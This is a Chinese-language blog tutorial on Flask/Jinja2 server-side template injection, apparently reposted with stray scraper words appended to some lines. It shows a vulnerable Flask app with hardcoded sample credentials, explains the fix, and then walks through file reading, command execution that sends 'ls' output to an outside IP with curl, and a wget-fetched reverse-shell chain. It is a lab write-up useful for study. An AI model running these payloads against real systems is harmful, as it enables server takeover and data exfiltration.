python 模板注入

  今天學習了python的模板注入,這裏本身搭建環境測試如下,參考文章:http://www.freebuf.com/articles/web/136118.htmlhtml

  web 程序包括兩個文件:python

  flask-test.py 和 Config.py 文件linux

  

 #!/usr/bin/env python
# -*- coding:utf8 -*-


import hashlib
import logging
from datetime import timedelta

from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import render_template_string


from Config import ProductionConfig

app = Flask(__name__)
handler = logging.StreamHandler()
logging_format = logging.Formatter(
'%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
handler.setFormatter(logging_format)
app.logger.addHandler(handler)

app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
app.config.from_object(ProductionConfig) #將配置類中的配置導入程序
app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
page_size = 60
app.config['UPLOAD_DIR'] = '/var/www/html/upload'
app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'



@app.route('/')
def hello_world():
  return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
  return render_template_string(template), 404

if __name__ == '__main__':
  app.run()
Config.py
#!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config):   pass class TestingConfig(Config):   pass class ProductionConfig(Config):   HOST = '127.0.0.1'   PORT = 65521   DBUSERNAME = 'vpgame'   DBPASSWORD = 'win666666'   DBNAME = 'vpgame'

  kali上搭建有漏洞的flask web服務git

  

 注:以上代碼存在ssti漏洞點在於render_template_string函數在渲染模板的時候使用了%s來動態的替換字符串,咱們知道Flask 中使用了Jinja2 做爲模板渲染引擎,{{}}在Jinja2中做爲變量包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當作變量解析替換。github

  解決方法:web

 將template 中的 」’<h3> %s!</h3>」’ % request.url 更改成 」’<h3>{{request.url}}</h3>」’ ,這樣以來,Jinja2在模板渲染的時候將request.url的值替換掉{{request.url}}, 而不會對request.url內容進行二次渲染(這樣即便request.url中含有{{}}也不會進行渲染,而只是把它當作普通字符串)shell

 下面來利用這個漏洞搞點事情:數據庫

 1.SSTI 利用之任意文件讀取

關於類對象

instance.__class__ 能夠獲取當前實例的類對象flask

咱們知道python中新式類(也就是顯示繼承object對象的類)都有一個屬性__class__能夠獲取到當前實例對應的類,隨便選擇一個簡單的新瀏覽器

式類實例,好比」,一個空字符串,就是一個新式類實例,因此」.__class__ 就能夠獲取到實例對應的類(也就是<type ‘str’>)

 

類對象中的屬性__mro__

class.__mro__ 獲取當前類對象的全部繼承類'

python中類對象有一個屬性__mro__, 這個屬性返回一個tuple對象,這個對象包含了當前類對象全部繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序

 

從結果中能夠發現」對應的類對象str繼承的順序是basestring->object

類對象中的方法__subclasses__()    

每個新式類都保留了它全部的子類的引用,__subclasses__()這個方法返回了類的全部存活的子類的引用(注意是類對象引用,不是實例)

咱們知道python中的類都是繼承object的,因此只要調用object類對象的__subclasses__()方法就能夠獲取咱們想要的類的對象,好比用於讀取文件的file對象

經過以上的python代碼就可以找到有讀文件功能的類(能夠加上大小寫)

這裏找到了file對象來進行文件的讀取

這裏成功利用file對象的匿名實例化,併爲其傳參要讀取的文件名,經過調用其讀文件函數read就能夠對文件進行讀取了。

2.SSTI 利用之命令執行

 咱們還能夠在object的全部子類中找能夠引入了os模塊的類,並以此來執行命令

 因爲執行命令最終的結果沒法回顯到瀏覽器端,所以咱們把結果發送到vps上,好比咱們想執行ls命令,查看當前路徑的文件,那麼

 

 

 因此咱們使用payload

http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}

這裏使用了linux的管道命令,首先把ls的結果寫入到tt.txt中,而後把裏面的每個文件名做爲參數分別向本身的vps發送請求,因此最終只須要查看本身的vps的訪問日誌,就能夠查看到目標路徑下的全部文件名

這裏用到了xargs來傳遞管道參數,xargs的一個選項-I,使用-I指定一個替換字符串{},這個字符串在xargs擴展時會被替換掉,當-I與xargs結合使用,每個參數命令都會被執行一次(注:xargs的詳細用法見http://man.linuxde.net/xargs)

利用一樣的方法,咱們也能夠繼續查看其餘命令的執行結果

3.SSTI 利用之遠程代碼執行

若是不能利用os模塊在服務器端執行命令,那麼還能夠利用susprocess模塊來執命令,好比利用subprocess的check_output函數

在代碼中由於使用了flask.config它是一個相似字典的對象,包含了應用程序全部的配置文件信息(你全部的用app.config.xxx | app.config['xxx'] 配置信息 都在config這個上下文對象中),在不少的例子中,這個config對象包含了不少敏感的信息,好比數據庫鏈接信息,鏈接第三方服務的SECRET_KEY等

使用config.items()就可以得到全部的配置信息

而config.from_object(args)能將其參數所指模塊中的大寫屬性加入config對象實例中,經過執行{{config.from_object('os')}} ,{{config.items()}},就能看到

在這裏咱們先把想要調用的命令執行函數做爲配置信息,寫入一個py文件中

 

http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D

 

 

文件寫入完成,而後經過config.from_pyfile函數來導入指定py文件中的大寫屬性加入到config這個上下文對象中(這就是爲何用RUNCMD了,大寫)

 

 

 

 

 此時check_output函數已經導入,也就是能夠執行命令的函數已經導入到了config變量中。

 

 此時遠程下載反彈shell的腳本

 

http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D

 此時已經在目標服務器上下載了reverse的py腳本,接下來只須要使其執行便可獲得shell

http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D

首先在本身的vps上用nc監聽21192端口,而後經過config.from_pyfile來導入反彈shell的腳本,python在導入模塊的同時也會執行腳本中部分代碼(class 和方法的定義不會執行),利用這一點,就能夠執行反彈shell 了

此時已經拿到了目標機器的shell

相關文章
相關標籤/搜索